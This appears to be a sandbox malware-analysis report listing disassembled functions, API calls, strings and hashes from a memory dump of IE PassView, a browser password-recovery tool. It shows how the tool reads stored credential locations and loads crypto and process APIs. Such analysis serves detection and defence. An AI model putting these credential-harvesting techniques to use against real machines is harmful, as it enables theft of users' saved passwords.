Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogHandleLoadModeModuleObject
String ID: IE PassView
API String ID: 829165378-138957450
Opcode ID: b4c16071b9a7532792fcb4d9f5e964cc282a1dde44ff47dac44f1ca561dbac0a
Instruction ID: 2d723202b3b5cca2a5e2e0ea46cc793fd76a0364fe4b2736696fc3227fcf8ec2
Opcode Fuzzy Hash: b4c16071b9a7532792fcb4d9f5e964cc282a1dde44ff47dac44f1ca561dbac0a
Instruction Fuzzy Hash: D351B330500208BFEB225F61DE85FAE7BA6EB04700F10893AF955BA5F0C775AD61DB09

Function 0040A56E Relevance: 44.1, APIs: 21, Strings: 4, Instructions: 306windowstringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004077E7: LoadMenuA.USER32(00000000), ref: 004077EF
Part of subcall function 004077E7: sprintf.MSVCRT ref: 00407812

SetMenu.USER32(?,00000000), ref: 0040A6CF
6F5894F0.COMCTL32(50000000,0040E470,?,00000101), ref: 0040A6EA
SendMessageA.USER32(00000000,00000404,00000001,?), ref: 0040A708
GetModuleHandleA.KERNEL32(00000000), ref: 0040A70D
LoadImageA.USER32(00000000,00000068,00000000,00000000,00000000,00009060), ref: 0040A71E
GetModuleHandleA.KERNEL32(00000000), ref: 0040A758
CreateWindowExA.USER32(00000000,SysListView32,00000000,50810809,00000000,00000000,00000190,000000C8,?,00000103,00000000,00000000), ref: 0040A783
GetModuleHandleA.KERNEL32(00000000,00000000,00000001), ref: 0040A7EC
LoadIconA.USER32(00000000,00000066), ref: 0040A7F5
SetFocus.USER32(?,?,/noreg), ref: 0040A86A
GetFileAttributesA.KERNEL32(004125A8,?,/noreg), ref: 0040A884
GetTempPathA.KERNEL32(00000104,004125A8,?,/noreg), ref: 0040A894
strlen.MSVCRT ref: 0040A89B
strlen.MSVCRT ref: 0040A8A9
RegisterClipboardFormatA.USER32(commdlg_FindReplace), ref: 0040A8F6
SendMessageA.USER32(?,0000104E,00000000,00000000), ref: 0040A920
SendMessageA.USER32(00000000,00000403,00000002,0000FFFF), ref: 0040A933
SendMessageA.USER32(?,00000403,00000003,0000000A), ref: 0040A93D
SendMessageA.USER32(?,00000403,00000001,0000000A), ref: 0040A947

Part of subcall function 00403FEE: strlen.MSVCRT ref: 0040400B
Part of subcall function 00403FEE: SendMessageA.USER32(00000000,0000101B,00000000,?), ref: 0040402F

SendMessageA.USER32(?,00000404,00000002,?), ref: 0040A968
SendMessageA.USER32(?,00000401,00001001,00000000), ref: 0040A97C

Strings

commdlg_FindReplace, xrefs: 0040A8F1
report.html, xrefs: 0040A8A2, 0040A8BA
SysListView32, xrefs: 0040A77D
/noreg, xrefs: 0040A826

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: MessageSend$HandleLoadModulestrlen$Menu$AttributesClipboardCreateF5894FileFocusFormatIconImagePathRegisterTempWindowsprintf
String ID: /noreg$SysListView32$commdlg_FindReplace$report.html
API String ID: 478718253-3205826372
Opcode ID: ecf2ce4abb139d9e1560520fc5a074635b50365801fe6e54e165574c8d11df66
Instruction ID: c7d200016f375faa40e5c412c0c460c7da11ca212d389b44d4b46c1aacdb66f9
Opcode Fuzzy Hash: ecf2ce4abb139d9e1560520fc5a074635b50365801fe6e54e165574c8d11df66
Instruction Fuzzy Hash: 18C1E171505388AFEB129F65CC8ABCE7FA5AF14300F044479FA48BB2D2C7B55518CBA9

Function 0040BBF4 Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 213windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 0040BC3C
GetDlgItem.USER32(?,000003EA), ref: 0040BC54
SendMessageA.USER32(00000000,000000B1,00000000,0000FFFF), ref: 0040BC73
SendMessageA.USER32(?,00000301,00000000,00000000), ref: 0040BC80
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 0040BC89
memset.MSVCRT ref: 0040BCB1
memset.MSVCRT ref: 0040BCD1
memset.MSVCRT ref: 0040BCEF
memset.MSVCRT ref: 0040BD08
memset.MSVCRT ref: 0040BD26
memset.MSVCRT ref: 0040BD3F
GetCurrentProcess.KERNEL32 ref: 0040BD47
ReadProcessMemory.KERNEL32(00000000,?,00000080,00000000), ref: 0040BD6C
ReadProcessMemory.KERNEL32(?,?,00000080,00000000), ref: 0040BDA2
memset.MSVCRT ref: 0040BDDD
GetCurrentProcessId.KERNEL32 ref: 0040BDEB
memcpy.MSVCRT(?,00411F30,00000118), ref: 0040BE1A
_mbscpy.MSVCRT(?,00000000), ref: 0040BE3C
sprintf.MSVCRT ref: 0040BEA7
SetDlgItemTextA.USER32(?,000003EA,?), ref: 0040BEC0
GetDlgItem.USER32(?,000003EA), ref: 0040BECA
SetFocus.USER32(00000000), ref: 0040BED1

Strings

Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X ESP=%8.8XEIP=%8.8XStack Data: %sCode Data: %s, xrefs: 0040BEA1
{Unknown}, xrefs: 0040BCB6

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_mbscpymemcpysprintf
String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X ESP=%8.8XEIP=%8.8XStack Data: %sCode Data: %s${Unknown}
API String ID: 1428123949-3474136107
Opcode ID: 7373fe983fa7d826f3d98fdd397c2cbd796ef5b67f241b84af1fafadaa8bf6c4
Instruction ID: ab82093e82b0dc2be47d1e4c554b5134929d62590cb0d9f559d066302e60e584
Opcode Fuzzy Hash: 7373fe983fa7d826f3d98fdd397c2cbd796ef5b67f241b84af1fafadaa8bf6c4
Instruction Fuzzy Hash: F571ABB2404248BFD7219F51DC45EEB7B9CEB44344F00443EF648A21E1D735A919DBAE

Function 0040D14B Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 101COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040D16C
memset.MSVCRT ref: 0040D180
_mbscpy.MSVCRT(?,<font,?,?,?,?,?), ref: 0040D1AD
sprintf.MSVCRT ref: 0040D1C8
_mbscat.MSVCRT ref: 0040D1D5
sprintf.MSVCRT ref: 0040D1FF
_mbscat.MSVCRT ref: 0040D20C
_mbscat.MSVCRT ref: 0040D21A
_mbscat.MSVCRT ref: 0040D22C
_mbscat.MSVCRT ref: 0040D237
_mbscat.MSVCRT ref: 0040D249
_mbscat.MSVCRT ref: 0040D25B

Strings

</b>, xrefs: 0040D243
</font>, xrefs: 0040D255
<font, xrefs: 0040D1A7
<b>, xrefs: 0040D226
size="%d", xrefs: 0040D1C2
color="#%s", xrefs: 0040D1F9

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: _mbscat$memsetsprintf$_mbscpy
String ID: color="#%s"$ size="%d"$</b>$</font>$<b>$<font
API String ID: 633282248-1996832678
Opcode ID: 454e3b97b3d028b6050df625e5cdfdacca5a384f5c085efc3af82c9e53fef484
Instruction ID: 4b6673b6d978c94f635e7920ddbb95c6d9023c96c3e466d0fab0bc554a397e0a
Opcode Fuzzy Hash: 454e3b97b3d028b6050df625e5cdfdacca5a384f5c085efc3af82c9e53fef484
Instruction Fuzzy Hash: 7231BBB2C05215BFD724AAD49C82D9AB35C9F10365F1041BFF914B21C2DB7CAA8C8B5D

Function 00408F62 Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 182COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00408F82
memset.MSVCRT ref: 00408FA5
memset.MSVCRT ref: 00408FBB
memset.MSVCRT ref: 00408FCB
sprintf.MSVCRT ref: 00408FFF
_mbscpy.MSVCRT(00000000, nowrap), ref: 00409046
sprintf.MSVCRT ref: 004090CD
_mbscat.MSVCRT ref: 004090FC

Part of subcall function 0040D096: sprintf.MSVCRT ref: 0040D0B5

_mbscpy.MSVCRT(004093B4,?), ref: 004090E1
sprintf.MSVCRT ref: 00409130

Part of subcall function 004054A8: strlen.MSVCRT ref: 004054B5
Part of subcall function 004054A8: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,0040918C,?,<item>), ref: 004054C2

Strings

<table border="1" cellpadding="5">, xrefs: 00409007
<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s, xrefs: 00408F8A
</table><p>, xrefs: 00409152
bgcolor="%s", xrefs: 00408FF9
 , xrefs: 004090F6
nowrap, xrefs: 00409040
<font color="%s">%s</font>, xrefs: 004090C5

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: memsetsprintf$_mbscpy$FileWrite_mbscatstrlen
String ID: bgcolor="%s"$ nowrap$ $</table><p>$<font color="%s">%s</font>$<table border="1" cellpadding="5">$<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s
API String ID: 710961058-601624466
Opcode ID: 503ee7d79ae4fec1e096e4d24a48d019df390286079e467b253fdb3b37d063dc
Instruction ID: 1fb9cbf94fbf9db8d6d6d563c050f411e0517f3dea1d4c0cd6346e753d28852d
Opcode Fuzzy Hash: 503ee7d79ae4fec1e096e4d24a48d019df390286079e467b253fdb3b37d063dc
Instruction Fuzzy Hash: 1961BF31900208AFDF14EF95CC86EDE7B79EF04314F1001AAF918BA2D2DB39AA45CB55

Function 0040D268 Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 114COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040D289
memset.MSVCRT ref: 0040D29D
memset.MSVCRT ref: 0040D2B1
sprintf.MSVCRT ref: 0040D2DB
sprintf.MSVCRT ref: 0040D305
_mbscpy.MSVCRT(?,</font>,?,<font color="%s">,00000000,000000FF,?,?,?,?,?,?,?,?,?,00000006), ref: 0040D316
sprintf.MSVCRT ref: 0040D331
memset.MSVCRT ref: 0040D36C
sprintf.MSVCRT ref: 0040D387
sprintf.MSVCRT ref: 0040D3BB

Part of subcall function 0040D096: sprintf.MSVCRT ref: 0040D0B5

Strings

<font color="%s">, xrefs: 0040D2FF
bgcolor="%s", xrefs: 0040D2D5
</font>, xrefs: 0040D310
<th%s>%s%s%s, xrefs: 0040D3B5
<table border="1" cellpadding="5"><tr%s>, xrefs: 0040D32B
width="%s", xrefs: 0040D381

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: sprintf$memset$_mbscpy
String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
API String ID: 3402215030-3842416460
Opcode ID: 7e76d5a04eef2a531a64342e17b0c3fc78b35fcee9df5c805667bda5edc55b22
Instruction ID: cb7c4f64b5ee6ae6c3203d53366d56183c9d72d71c58fbd2a4889d1051ba2003
Opcode Fuzzy Hash: 7e76d5a04eef2a531a64342e17b0c3fc78b35fcee9df5c805667bda5edc55b22
Instruction Fuzzy Hash: 534124B2C0111D6ADB21DA95CC81FEB776CAF14319F0401B7B918F21C2E6389B5D8B65

Function 0040B784 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 70COMMON

Download Yara Rule

APIs

_strcmpi.MSVCRT ref: 0040B78A
_strcmpi.MSVCRT ref: 0040B79F

Strings

/stab, xrefs: 0040B7C4
/scomma, xrefs: 0040B7D9
/sverhtml, xrefs: 0040B79A
/sxml, xrefs: 0040B7AF
/shtml, xrefs: 0040B785
/skeepass, xrefs: 0040B803
/stabular, xrefs: 0040B7EE

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: _strcmpi
String ID: /scomma$/shtml$/skeepass$/stab$/stabular$/sverhtml$/sxml
API String ID: 1439213657-1959339147
Opcode ID: 10e8d8571f25f0fca3a519c2fd4170dcdca92cdeebca7750479ab782993dd494
Instruction ID: 20a6fcd9a940255a688d7b0250f2248a35fc65a577c324fc704e39fb8d27135f
Opcode Fuzzy Hash: 10e8d8571f25f0fca3a519c2fd4170dcdca92cdeebca7750479ab782993dd494
Instruction Fuzzy Hash: 79010C6269931238F86422A72D17B470A49CB91B7AF71993FF514F80D9EF7C500450AD

Function 0040331C Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000000,0040705C,?,00000104,00000000,?,?,004025EE,?,00000000), ref: 00403327
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 0040333B
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00403347
GetProcAddress.KERNEL32(?,CryptCreateHash), ref: 00403353
GetProcAddress.KERNEL32(?,CryptGetHashParam), ref: 0040335F
GetProcAddress.KERNEL32(?,CryptHashData), ref: 0040336B
GetProcAddress.KERNEL32(?,CryptDestroyHash), ref: 00403377

Strings

CryptHashData, xrefs: 00403361
CryptDestroyHash, xrefs: 0040336D
CryptCreateHash, xrefs: 00403349
CryptGetHashParam, xrefs: 00403355
CryptReleaseContext, xrefs: 0040333D
advapi32.dll, xrefs: 00403322
CryptAcquireContextA, xrefs: 00403333

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: CryptAcquireContextA$CryptCreateHash$CryptDestroyHash$CryptGetHashParam$CryptHashData$CryptReleaseContext$advapi32.dll
API String ID: 2238633743-1621422469
Opcode ID: 6c79e390df775d539c368336c2ecfa3f2549874e9245ec2e66bc54a96e53f201
Instruction ID: 8e0dd15aec38e0fd7c38dc5f5a73f20ec7812c2ba6613e422e05b2acbdc7fbab
Opcode Fuzzy Hash: 6c79e390df775d539c368336c2ecfa3f2549874e9245ec2e66bc54a96e53f201
Instruction Fuzzy Hash: C5F0A975940744AEDB307F779D09E06BEE1EFA87017218D3EE1D163690D6B99060CF45

Function 00402C18 Relevance: 24.2, APIs: 12, Strings: 4, Instructions: 150stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004033B4: strlen.MSVCRT ref: 004033D2
Part of subcall function 004033B4: strlen.MSVCRT ref: 004033DF
Part of subcall function 004033B4: strlen.MSVCRT ref: 0040340F
Part of subcall function 004033B4: strlen.MSVCRT ref: 0040341D

memset.MSVCRT ref: 00402C54
memset.MSVCRT ref: 00402C6B
memset.MSVCRT ref: 00402C82
memset.MSVCRT ref: 00402C99
strlen.MSVCRT ref: 00402CAD
strlen.MSVCRT ref: 00402CBB
strlen.MSVCRT ref: 00402CEA
strlen.MSVCRT ref: 00402CF8
strlen.MSVCRT ref: 00402D27
strlen.MSVCRT ref: 00402D35
strlen.MSVCRT ref: 00402D64
strlen.MSVCRT ref: 00402D72

Part of subcall function 00405918: _mbscpy.MSVCRT(?,?,?,00403438,?,Application Data\Microsoft\Protect,?,?,?,00000000,00402C40,?), ref: 00405920
Part of subcall function 00405918: _mbscat.MSVCRT ref: 0040592F

Strings

Local Settings\Application Data, xrefs: 00402CF1, 00402D06
Application Data, xrefs: 00402CB4, 00402CC9
AppData\Local, xrefs: 00402D6B, 00402D80
AppData\Roaming, xrefs: 00402D2E, 00402D43

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: strlen$memset$_mbscat_mbscpy
String ID: AppData\Local$AppData\Roaming$Application Data$Local Settings\Application Data
API String ID: 2399022799-1616091409
Opcode ID: 3be53faf8907f854b252f09969c909306221ba75ca6a754eabe49422fde229f1
Instruction ID: 0aa79fb4c3caf9cdf13b794d92e13ff8df788c9497b0bc208439cc72e661e6b2
Opcode Fuzzy Hash: 3be53faf8907f854b252f09969c909306221ba75ca6a754eabe49422fde229f1
Instruction Fuzzy Hash: 7F51A7B150411CAADB15EB55CC85BDDB7ACAF04308F1004BBF508F61C2DBBC9B889B99

Function 004026E2 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 004054A8: strlen.MSVCRT ref: 004054B5
Part of subcall function 004054A8: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,0040918C,?,<item>), ref: 004054C2

memset.MSVCRT ref: 0040271A
memset.MSVCRT ref: 0040272E
memset.MSVCRT ref: 00402742
sprintf.MSVCRT ref: 00402763
_mbscpy.MSVCRT(?,<table dir="rtl"><tr><td>), ref: 0040277F
sprintf.MSVCRT ref: 004027B6
sprintf.MSVCRT ref: 004027E7

Strings

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">, xrefs: 004026F2
IE PassView, xrefs: 004027CD
<table dir="rtl"><tr><td>, xrefs: 00402779
<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>, xrefs: 004027E1
<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>, xrefs: 00402791
<meta http-equiv='content-type' content='text/html;charset=%s'>, xrefs: 0040275D

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: memsetsprintf$FileWrite_mbscpystrlen
String ID: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">$<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>$<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>$<meta http-equiv='content-type' content='text/html;charset=%s'>$<table dir="rtl"><tr><td>$IE PassView
API String ID: 113626815-2840149160
Opcode ID: bb36ad5aa00d1c5d5c6db54a0930051e88cfaa18a912c190982c7715a2f9a6af
Instruction ID: 79ec9f827acb84f4e73bb674bc78c0bf489e66189f469c4492059895979903f2
Opcode Fuzzy Hash: bb36ad5aa00d1c5d5c6db54a0930051e88cfaa18a912c190982c7715a2f9a6af
Instruction Fuzzy Hash: BB3167B2C00118BADB64D795CC82EDE77ACEB04314F1045B7F908B31C1DA786BD88B69

Function 0040C0C6 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,?,0040C16C,0040BDC4), ref: 0040C0D9
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameA), ref: 0040C0F2
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 0040C103
GetProcAddress.KERNEL32(00000000,GetModuleFileNameExA), ref: 0040C114
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0040C125
GetProcAddress.KERNEL32(00000000,GetModuleInformation), ref: 0040C136
FreeLibrary.KERNEL32(00000000), ref: 0040C156

Strings

GetModuleBaseNameA, xrefs: 0040C0EC
psapi.dll, xrefs: 0040C0D4
GetModuleInformation, xrefs: 0040C130
EnumProcessModules, xrefs: 0040C0FD
GetModuleFileNameExA, xrefs: 0040C10E
EnumProcesses, xrefs: 0040C11F

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameA$GetModuleFileNameExA$GetModuleInformation$psapi.dll
API String ID: 2449869053-232097475
Opcode ID: 8bae9f90865ef67b8577d95b1b06d497210238930ec4d9d0db7395eb778b4a76
Instruction ID: c87147c288e77a78077066b68bba7e28773a7c5f6cc3d20f75e2f18e7ded8720
Opcode Fuzzy Hash: 8bae9f90865ef67b8577d95b1b06d497210238930ec4d9d0db7395eb778b4a76
Instruction Fuzzy Hash: 6C018470505712DAC7219F28AE90B6B3FE89749B40F10453BE504F92E5DBBCC4468FAC

Function 00402E5B Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 223COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00402E7D
memset.MSVCRT ref: 00402E9D
wcschr.MSVCRT ref: 00402F2C
wcsncmp.MSVCRT ref: 00402F45
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,0000000C), ref: 00402FC1
wcschr.MSVCRT ref: 00402FDF
wcscpy.MSVCRT ref: 00402FF5
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,0000000C), ref: 00403006
memcpy.MSVCRT(?,?,?,?,?,?,?,?,0000000C), ref: 00403095
LocalFree.KERNEL32(?,?,?,?,?,?,0000000C), ref: 004030A8
memcpy.MSVCRT(?,00000004,-000000F4,?,?,0000000C), ref: 004030EE

Strings

Microsoft_WinInet, xrefs: 00402E6F

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

